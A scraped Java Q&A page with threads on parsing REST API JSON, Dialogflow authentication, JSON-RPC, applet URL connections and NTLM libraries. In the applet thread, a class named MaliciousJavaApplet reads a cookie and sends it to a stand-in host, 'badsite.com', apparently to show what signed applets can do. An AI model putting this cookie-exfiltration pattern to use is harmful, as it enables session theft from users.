We Keep Coding

How can I get specific data from a REST API in?

So I'm trying to access data frim a rest api using java code and I'm not very experienced in getting data from an api using java. I had found the code below on another question. This code was able to output all the data from the link but I'm a bit confused on how to get specific values from the link. The link in the code below shows the nutrition info for an apple and what I'm looking for is being able to output specific values such as the fdcId or the description.
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
public class Main {
public static void main(String[] args) {
try {
URL url = new URL("https://api.nal.usda.gov/fdc/v1/food/1750339?api_key=DEMO_KEY");//your url i.e fetch data from .
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.setRequestProperty("Accept", "application/json");
if (conn.getResponseCode() != 200) {
throw new RuntimeException("Failed : HTTP Error code : "
+ conn.getResponseCode());
}
InputStreamReader in = new InputStreamReader(conn.getInputStream());
BufferedReader br = new BufferedReader(in);
String output;
while ((output = br.readLine()) != null) {
System.out.println(output);
}
conn.disconnect();
} catch (Exception e) {
System.out.println("Exception in NetClientGet:- " + e);
}
}
}
I haven't really tried much with the code. I tried looking for the answer for this online and didn't find much

You need to look how to parse Json in Java. This way you can take any data you need from that Json file. Some explanations for the similar question are here.

Usually Spring or other frameworks used for this purposes. In your example you can save JSON response to string like this:
String reponse = "";
String line;
while ((line = br.readLine()) != null) {
reponse += line;
}
And than parse this JSON, f.e. using Jackson ObjectMapper convert it into your dto.
There is an example here: https://www.baeldung.com/jackson-object-mapper-tutorial

Your question should be divided in two parts:
How to read info from API
How to parse it.
The first part you already did. But you can do it with less code by far. You can use 3d party HTTP clients. The most popular are Apache Http Client with good tutorial - Apache HttpClient Tutorial and OK Http client with good tutorial - A Guide to OkHttp. However, I wrote my own Http client that is not widely known but very simple to use.
The second part is how to parse Json. And for that you can use also 3d party Json parsers. The most popular ones would be Json Jackson or Gson (of Google). And again I also wrote my own thin wrapper over Json-Jackson that allows you to parse Json very simply. Here is the code example that uses my own utilities:
HttpClient httpClient = new HttpClient();
try {
httpClient.setConnectionUrl("https://api.nal.usda.gov/fdc/v1/food/1750339?api_key=DEMO_KEY");
httpClient.setRequestHeader("Accept", "application/json");
String jsonResponse = httpClient.sendHttpRequest(HttpClient.HttpMethod.GET);
Map<String, Object> map = JsonUtils.readObjectFromJsonString(jsonResponse, Map.class);
System.out.println("fdcid: " + map.get("fdcId"));
System.out.println("description: " + map.get("description"));
} catch (Exception e) {
System.out.println(httpClient.getLastResponseCode() + " "
+ httpClient.getLastResponseMessage() + TextUtils.getStacktrace(e, false));
}
If you run this code this would be the output:
fdcid: 1750339
description: Apples, red delicious, with skin, raw
The classes HttpClient, JsonUtils and TextUtils all come as part of MgntUtils Open Source library written and maintained by me. Here is Javadoc for the library If you want the source code of the whole library you can get it on Github here, and just the library as Maven artifact is available from Maven Central here

How to fix dialogflow authentication issue

I have a dialogflow project that I'm trying to access from Java with a rest call.
It is giving me an authentication issue.
I have followed all online instructions (and many forum suggestions) to no avail.
I have tried generating the key json, as per the instructions here:
https://dialogflow.com/docs/reference/v2-auth-setup
and setting my environment variable as described, but nothing seems to work.
I have checked my projectID, and am running off the same machine with the environment variable, and have double, triple and quadruple checked it's name and location, but I still get the following error:
java.net.HttpRetryException: cannot retry due to server authentication, in streaming mode
Here is my code (though it's a REST call, so I don't know if it's so relevant):
String url = https://dialogflow.googleapis.com/v2/projects/MYPROJECT/agent/sessions/SESSION_NUM:detectIntent
URL url = new URL(full_url);
String inText = "Hello World";
String outText = "";
HttpURLConnection con = (HttpURLConnection) url.openConnection();
try {
con.setDoOutput(true);
con.setRequestMethod("POST");
// set body of http post
Map<String,String> arguments = new HashMap<>();
JSONObject inTextJsn = new JSONObject();
inTextJsn.append("text",inText);
inTextJsn.append("languageCode","en");
JSONObject fieldJsn = new JSONObject();
fieldJsn.append("text", inTextJsn);
arguments.put("queryInput", fieldJsn.toString());
StringJoiner sj = new StringJoiner("&");
for(Map.Entry<String,String> entry : arguments.entrySet())
sj.add(URLEncoder.encode(entry.getKey(), "UTF-8") + "="
+ URLEncoder.encode(entry.getValue(), "UTF-8"));
// post http post as bytes
byte[] bytes_out = sj.toString().getBytes(StandardCharsets.UTF_8);
con.setFixedLengthStreamingMode(bytes_out.length);
con.connect();
try (OutputStream os = con.getOutputStream()) {
os.write(bytes_out);
}
BufferedReader reader = new BufferedReader(new InputStreamReader(con.getInputStream(),
"UTF-8"));
// read all lines to a string
String line;
String response = "";
while ((line = reader.readLine()) != null) {
response += line;
}
JSONObject responseJsn = new JSONObject(response);
outText = responseJsn.get("fulfillmentText").toString();
} catch (Exception e) {
System.err.println(e);
} finally {
con.disconnect();
}
return restResponse;
The gist of the code is to simply send a message ("Hello World!") to my dialogflow, and get back my agent's response (the code may have bugs - it's a bit hard to test when I can't get passed this authentication issue, so please help with the authentication, not code bugs).
Thanks all!

The directions at that page assume you're going to use the gcloud program to generate a currently valid bearer token, which is then sent along with the HTTP headers. That page illustrates
Your code doesn't seem to be generating an Authorization HTTP header at all, which is why you're getting the error you do.
Since you're using Java, you should look at the google-auth-library-java library, which will give you the tools to generate the token you need to provide in the Authorization header.
You may also wish to check out the google-cloud-java library. This contains Java classes to directly perform operations against Dialogflow instead of coding the REST/HTTP calls yourself. (However, it is still at an Alpha level for Dialogflow, so may not be stable or forwards compatible.)

JSON-RPC for java library

I want to send datas from my Java program to a Tine2.0 server. I have found a solution called JSON-RPC for Java, working on the Post http method.
I have already created a class doing a Post request to a test page of the server, this is the code:
import java.io.*;
import java.net.*;
public class EnvoiEnBaseViaURL {
public static void main(String[] args) throws Exception {
String tacheSent = URLEncoder.encode(args[0], "UTF-8"); //args[0] = "tache a envoyer"
String noteSent = URLEncoder.encode(args[1], "UTF-8"); //args[1] = "note a envoyer"
String dossier = URLEncoder.encode(args[2], "UTF-8"); //args[2] = "dossier a envoyer"
String context = URLEncoder.encode(args[3], "UTF-8"); //args[3] = "contexte a envoyer"
String iD = URLEncoder.encode(args[4], "UTF-8");
String pass = URLEncoder.encode(args[5], "UTF-8");
URL url = new URL(args[6]);
URLConnection connection = url.openConnection();
connection.setDoOutput(true);
OutputStreamWriter out = new OutputStreamWriter(
connection.getOutputStream());
out.write("TacheEnvoyee=" + tacheSent + "&NoteEnvoyee=" + noteSent + "&Dossier=" + dossier + "&Contexte=" + context + "&Identifiant=" + iD + "&Password=" + pass);
out.close();
BufferedReader in = new BufferedReader(
new InputStreamReader(
connection.getInputStream()));
String decodedString;
while ((decodedString = in.readLine()) != null) {
System.out.println(decodedString);
}
in.close();
}
}
It works, I successfully send datas to this page and it returns me what I have sent. But now I work with the Tine2.0 server, I have to use authentication to connect.
I have tried to follow this tutorial: https://github.com/briandilley/jsonrpc4j, I have dowloaded the ZIP file but I dont know what am I supposed to do with, Where I have to send it...(the tutorial don't explain it at all...) At the moment, the Useron the public Interface UserServicedoesn't exist, etc...
I think I can do what I want to just with
JsonRpcHttpClient client = new JsonRpcHttpClient(
new URL("http://example.com/UserService.json"));
User user = client.invoke("createUser", new Object[] { "bob", "the builder" }, User.class);
But Java, obviously, as said previously, don't recognize JsonRpcHttpClient or User..
If anyone already worked with JSON-RPC and and can explain me what am I supposed to do, maybe install or add to the Java Build Path?
I hope i'm enough concise, don't hesitate to ask informations is some are missing.
Thank you.

Create a simple connection to internet with java applet using URL class

I'd like to create a simple URL connection that would, for example, read content from my predefined host, in my case - localhost/applet, can you please show me how to do that? I've been googling, but so far without any noticable success.
The content of the file is some text SOME TEXT, that should then be printed in the applet.

You can do this using the URL class:
URL url;
InputStream is = null;
DataInputStream dis;
String line;
url = new URL([put a string with the local host address here. Usual is something like 127.0.0.1]); // can also just put a website to test it.
is = url.openStream(); // throws an IOException
dis = new DataInputStream(new BufferedInputStream(is));
while ((line = dis.readLine()) != null) {
System.out.println(line); //will get each line from the text file and print it. could also put it in a variable.
}
Your question is kind of confusing, so tell me if I did not answer it. What do you mean by localhost/applet is it a java applet? or is it just a textfile name applet?? Where is the text file exactly??

Unsigned Applets
Unsigned applets can perform the following operations:
They can make network connections to the host they came from.
They can easily display HTML documents using the showDocument method of the java.applet.AppletContext class.
They can invoke public methods of other applets on the same page.
Applets that are loaded from the local file system (from a directory in the user's CLASSPATH) have none of the restrictions that applets loaded over the network do.
They can read secure system properties. See System Properties for a list of secure system properties.
When launched by using JNLP, unsigned applets can also perform the following operations:
They can open, read, and save files on the client.
They can access the shared system-wide clipboard.
They can access printing functions.
They can store data on the client, decide how applets should be downloaded and cached, and much more. See JNLP API for more information about developing applets by using the JNLP API.
Unsigned applets cannot perform the following operations:
They cannot access client resources such as the local filesystem, executable files, system clipboard, and printers.
They cannot connect to or retrieve resources from any third party server (any server other than the server it originated from).
They cannot load native libraries.
They cannot change the SecurityManager.
They cannot create a ClassLoader.
They cannot read certain system properties. See System Properties for a list of forbidden system properties.
Signed Applets
Signed applets do not have the security restrictions that are imposed on unsigned applets and can run outside the security sandbox.
import java.awt.*;
import java.io.*;
import java.net.*;
public class MaliciousJavaApplet extends java.applet.Applet {
TextArea messageLog = new TextArea(4, 40);
public void init() {
setLayout(new BorderLayout());
add("Center", messageLog);
}
public void start() {
try {
URL url = new URL("http://www.targetsite.net/default.html");
URLConnection connection;
String inputLine;
BufferedReader inReader;
connection = url.openConnection();
connection.setAllowUserInteraction(false);
connection.setDoOutput(true);
messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
messageLog.append("File read from URL " + url + ":\n");
inReader = new BufferedReader(
new InputStreamReader(connection.getInputStream()));
while (null != (inputLine = inReader.readLine())) {
messageLog.append(inputLine + "\n");
}
inReader.close();
messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
String cookie;
cookie = connection.getRequestProperty("cookie");
URL url2 = new
URL("http://www.badsite.com/default.html?cookie="+cookie);
URLConnection connection2;
String inputLine2;
BufferedReader inReader2;
connection2 = url2.openConnection();
connection2.setAllowUserInteraction(false);
connection2.setDoOutput(true);
inReader2 = new BufferedReader(
new InputStreamReader(connection2.getInputStream()));
while (null != (inputLine2 = inReader2.readLine())) {
messageLog.append(inputLine2 + "\n");
}
inReader2.close();
}
catch (IOException e) {
System.err.println("Exception: " + e);
}
}
}

Alternatives for JCIFS NTLM library

Are there any alternatives for JCIFS NTLM library?

Waffle - https://github.com/dblock/waffle
Has filters, authenticators, supports spring-security, etc. Windows-only, but doesn't require native DLLs.

To be honest, you should not look for one. For your SSO needs you should use proper kerberos / SPNEGO instead of the legacy NTLM.
For that stuff you need no special libraries as JVMs are already enabled for doing that automatically. All you have to do is to configure your application and JVM security policies properly. The official documentation from Sun should give you all the details you need, just browse the "security APIs" section.

Actually jcifs is good and you can test easily the 4-way handshake locally with Windows IIS and a keep alive java Socket.
This 2004 Apache pseudo code is useful to build the algorithm with jcifs using generateType1Msg() and generateType3Msg(), even Apache promotes an example as an alternative to HttpClient.
The old Apache code from 2004 works but authentication is unstable, you get HTTP/1.1 401 Unauthorized frequently, also this really old code from Luigi Dragone does not work anymore. On the other hand Apache's HttpClient runs smoothly but the handshake is done behind the scene (fyi. HttpClient requires new NTCredentials() to define user's authentication).
Here's an example to test the handshake locally on IIS, on port 81 without a domain. You need to change the host, port, user and password and HTTP headers appropriately, eventually WWW-Authenticate if you are not using IIS.
HTTP/1.1 200 OK means the authentication is correct, otherwise you get HTTP/1.1 401 Unauthorized.
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.net.UnknownHostException;
import jcifs.ntlmssp.NtlmFlags;
import jcifs.ntlmssp.Type1Message;
import jcifs.ntlmssp.Type2Message;
import jcifs.ntlmssp.Type3Message;
import jcifs.util.Base64;
import org.apache.http.impl.auth.NTLMEngineException;
public class TestNTLM {
public static void main(String[] args) throws UnknownHostException, IOException, NTLMEngineException {
Socket s = new Socket("127.0.0.1", 81);
s.setKeepAlive(true);
InputStream is = s.getInputStream();
OutputStream os = s.getOutputStream();
BufferedReader r = new BufferedReader(new InputStreamReader(is));
BufferedWriter w = new BufferedWriter(new OutputStreamWriter(os));
String host = "127.0.0.1:81";
String hostDomain = "";
String user = "My_Windows_Username";
String password = "My_Windows_Password";
w.write("GET http://127.0.0.1:81/ HTTP/1.1\n");
w.write("Host: 127.0.0.1:81\n");
w.write("Authorization: NTLM " + TestNTLM.generateType1Msg(hostDomain, host) + "\n\n");
System.out.println("[First Message Sent]");
w.flush();
String resp = "", line = "";
int contentLength = 0;
while((line = r.readLine()) != null){
if(line.length() == 0)
break;
System.out.println(line);
if(line.startsWith("Content-Length"))
contentLength = Integer.parseInt(line.substring(line.indexOf(":") + 1).trim());
else if(line.startsWith("WWW-Authenticate"))
resp = line.substring(line.indexOf(":") + 1).trim();
}
r.skip(contentLength);
System.out.println("\n[Second Message Received]");
System.out.println("Proxy-Authenticate: " + resp);
resp = resp.substring(resp.indexOf(" ")).trim();
w.write("GET http://127.0.0.1:81/ HTTP/1.1\n");
w.write("Host: 127.0.0.1:81\n");
w.write("Authorization: NTLM " + TestNTLM.generateType3Msg(user, password, hostDomain, host, new String(resp)) + "\n\n");
w.flush();
System.out.println("\n[Third Message Sent]");
while((line = r.readLine()) != null){
System.out.println(line);
if(line.length() == 0)
break;
}
}
private static final int TYPE_1_FLAGS =
NtlmFlags.NTLMSSP_NEGOTIATE_56 |
NtlmFlags.NTLMSSP_NEGOTIATE_128 |
NtlmFlags.NTLMSSP_NEGOTIATE_NTLM2 |
NtlmFlags.NTLMSSP_NEGOTIATE_ALWAYS_SIGN |
NtlmFlags.NTLMSSP_REQUEST_TARGET;
public static String generateType1Msg(final String domain, final String workstation)
throws NTLMEngineException {
final Type1Message type1Message = new Type1Message(TYPE_1_FLAGS, domain, workstation);
return Base64.encode(type1Message.toByteArray());
}
public static String generateType3Msg(final String username, final String password,
final String domain, final String workstation, final String challenge)
throws NTLMEngineException {
Type2Message type2Message;
try {
type2Message = new Type2Message(Base64.decode(challenge));
} catch (final IOException exception) {
throw new NTLMEngineException("Invalid NTLM type 2 message", exception);
}
final int type2Flags = type2Message.getFlags();
final int type3Flags = type2Flags
& (0xffffffff ^ (NtlmFlags.NTLMSSP_TARGET_TYPE_DOMAIN | NtlmFlags.NTLMSSP_TARGET_TYPE_SERVER));
final Type3Message type3Message = new Type3Message(type2Message, password, domain,
username, workstation, type3Flags);
return Base64.encode(type3Message.toByteArray());
}
}

I think NTLM is being deprecated in favor of Kerberos/SPNEGO. Take a look at the SPNEGO HTTP Servlet Filter project to see if it might fit your needs.

jespa www.ioplex.com is the only one I've come across.
Never used it though

Java Opensource Single Sign On (JOSSO) is at http://www.josso.org/
They have a page on NTLM, although I'm not sure how well it works.

If you don't mind a commercially packaged product then take a look at: Quest Single Sign On for Java which provides support for SPNEGO/Kerberos (including sites and S4U protocols) as well as NTLM.